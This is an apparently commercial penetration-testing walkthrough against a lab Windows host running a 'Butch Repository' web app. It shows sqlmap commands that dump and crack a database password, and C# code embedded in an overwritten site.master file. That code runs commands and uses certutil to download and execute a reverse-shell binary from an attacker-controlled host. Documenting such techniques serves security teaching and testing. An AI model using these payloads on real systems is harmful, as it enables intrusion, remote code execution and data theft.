In this demonstration we will exploit an MSSQL server through a penetration test, involving a series of SQL injections, that will give us unauthorized access to a web application. We will then leverage this access to overwrite a file and execute code which will grant us a reverse shell as SYSTEM into the target MSSQL server.
We begin with an Nmap scan of the target IP address 192.168.53.63 to identify open ports and running services (Figure 1).
Figure 1: Nmap scan of 192.168.53.63
We learn from the scan that ftp is running on port 21, smtp on port 25, smb on port 445, port 450 has a web application, and Windows Remote Management (WinRM) is running on port 5985. We will examine these one by one in search of potential attack vectors that can give us unauthorized access into the server.
Attempting to authenticate to the FTP service as an anonymous user fails. This indicates that anonymous access is disabled (Figure 2).
Figure 2: Anonymous login fails
We connect to SMTP with Netcat and discover the running version to be Microsoft ESMTP MAIL Service, Version: 10.0.17763.1 (Figure 3).
Figure 3: Netcat connection to port 25 – Microsoft ESMTP MAIL Service, Version: 10.0.17763.1
Querying the ExploitDB with searchsploit for exploits for this SMTP version does not return any results (Figure 4).
Figure 4: Search for SMTP exploits with no results returned
We attempt to list the shares on the SMB server and are informed that anonymous access is denied (Figure 5).
Figure 5: We are denied anonymous access to the shares
Next, we’ll use Netcat to send data to the service on port 450. The HTTP response suggests that a web server is running on this port. Browsing the server on this port presents a Butch Repository page (Figure 6).
Figure 6: Butch Repository page on 192.168.53.63:450
When we first access a web server, we should attempt to find hidden files and directories, as they are likely to contain protected information. We use gobuster and the Kali Linux /usr/share/wordlists/dirb/common.txt wordlist to try to find hidden files and directories (Figure 7). We discover an interesting /dev directory. We will return to this. But first we test the page for SQL injection.
Figure 7: The /dev directory is interesting
We insert a single quote (‘) in the username field and hit enter. The single quote character is significant in SQL and we get a verbose SQL error in bright red (Figure 8). This indicates that the page is vulnerable to SQL injection.
Figure 8: SQL error from single quote indicates a SQL injection vulnerability
We use BurpSuite to save a copy of the request as butch-request.txt (Figure 9).
Figure 9: Intercepted HTTP POST request
We’ll run SQLMap against the server using the saved request as reference for the potentially injectable username field.
The output reveals several default MSSQL databases as well as a master database. We can now dump any database with SQLMap because we have a verified injection point. We choose butch and run SQLMap again with the following configuration:
sqlmap -r /home/kali/butch-request. –dbms mssql -D butch –dump
This returns the password hash for the butch account. We allow SQLMap to attempt to crack the hash and obtain the password for butch: awesomedude (Figure 10).
Figure 10: We obtain the password for the butch account: awesomedude
We can now authenticate to the web app with this password. We log in as user butch and find a file repository with file-upload functionality (Figure 11).
Figure 11: The butch repository allows uploads
Attempting to upload an .aspx or .asp web shell results in an error, suggesting these file types are blacklisted.
We attempt to upload other types of files and find that we can upload .txt files and, once uploaded, they are accessible from the web root. For example, if we were to upload a file named test.txt, we could access it at:
http://192.168.65.63:450/test.txt
In our previous enumeration, we discovered a /dev directory. Navigating to this directory reveals two files: style.css and site.master.txt (Figure 12). The CSS file isn’t interesting for our purposes, but the TXT file contains very useful information (Figure 13).
Figure 12: Files in the /dev directory
Figure 13: Text file found in the /dev directory
The official Microsoft documentation for site.master indicates that this file provides a template for every page on an ASP.NET MVC-style application.
The file indicates that this webpage uses C# as a backend language, uses a site.master file as a template, and often resides in the web root.
Let’s review what we have discovered. First, it seems that the site.master file resides in the web root. We also know that we can upload files to the web root. By extension, we may be able to overwrite the site.master file with our own version, which could contain embedded code. If this overwrite is successful, we could reload the web page and our code may execute, giving us remote code execution.
We’re ready to create a proof-of-concept exploit. We’ll begin by crafting a new site.master file. We’ll include the existing contents from the original file and append arbitrary C# code which outputs the name of the user who is running the web application:
<%@ Language=”C#” src=”site.master.cs” Inherits=”MyNamespaceMaster.MyClassMaster” %>
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Strict//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml” lang=”en”>
<head runat=”server”>
<title>Butch</title>
<meta http-equiv=”Content-Type” content=”text/html; charset=utf-8″ />
<meta name=”application-name” content=”Butch”>
<meta name=”author” content=”Butch”>
<meta name=”description” content=”Butch”>
<meta name=”keywords” content=”Butch”>
<link media=”all” href=”style.css” rel=”stylesheet” type=”text/css” />
<link id=”favicon” rel=”shortcut icon” type=”image/png” href=”favicon.png” />
</head>
<body>
<div id=”wrap”>
<div id=”header”>Welcome to Butch Repository</div>
<div id=”main”>
<div id=”content”>
<br />
<asp:contentplaceholder id=”ContentPlaceHolder1″ runat=”server”></asp:contentplaceholder>
<br />
</div>
</div>
</div>
</body>
</html>
<%
string stdout = “”;
string cmd = “whoami”;
System.Diagnostics.ProcessStartInfo procStartInfo = new System.Diagnostics.ProcessStartInfo(“cmd”, “/c ” + cmd);
procStartInfo.RedirectStandardOutput = true;
procStartInfo.UseShellExecute = false;
procStartInfo.CreateNoWindow = true;
System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo = procStartInfo;
p.Start();
stdout = p.StandardOutput.ReadToEnd();
Response.Write(stdout);
%>
If our assumption about the site.master file is correct, we should now be able to upload this file to the web application. This will replace the existing file. Browsing (or refreshing) the web page reveals the output of our code near the bottom of the page (Figure 14).
Figure 14: Notice nt authority\system in response to “whoami” command
Now that we know we can execute arbitrary code on the server with this approach, let’s attempt to get a remote shell. We’ll modify our code at the bottom of our file as follows:
<%
string stdout = “”;
ArrayList commands = new ArrayList();
commands.Add(“certutil.exe -urlcache -split -f \”http://192.168.49.65:445/shell.exe\” \”C:\\inetpub\\wwwroot\\shell.exe\””);
commands.Add(“\”C:\\inetpub\\wwwroot\\shell.exe\””);
foreach (string cmd in commands) {
System.Threading.Thread.Sleep(3000);
System.Diagnostics.ProcessStartInfo procStartInfo = new System.Diagnostics.ProcessStartInfo(“cmd”, “/c ” + cmd);
procStartInfo.RedirectStandardOutput = true;
procStartInfo.UseShellExecute = false;
procStartInfo.CreateNoWindow = true;
System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo = procStartInfo;
p.Start();
stdout = p.StandardOutput.ReadToEnd();
Response.Write(stdout);
}
%>
When it runs, this code will instruct the server to connect to a web server (that we control), download a reverse shell, and execute it. Let’s create our reverse shell with msfvenom (Figure 15).
Figure 15: Msfvenom payload creation
Next, we’ll start a web server to host the reverse shell and a Netcat listener to catch the reverse shell (Figure 16).
Figure 16: Web server hosting the exploit and Netcat listener to catch the reverse shell
Now we’re ready to test our exploit. If we upload our new site.master file to the website and then browse (or refresh) the home page, the code should execute and download and run our shell. If all went as planned, our Netcat listener should present us with a full SYSTEM shell on the web server!
Figure 17: We are SYSTEM!
This was only a demonstration, but once during a penetration test engagement with a US client, I was able to exfiltrate six complete databases from the client’s datacenter in the UK by using the SQLMap technique described above.
Don’t become the next victim of a breach. Schedule a penetration test today!
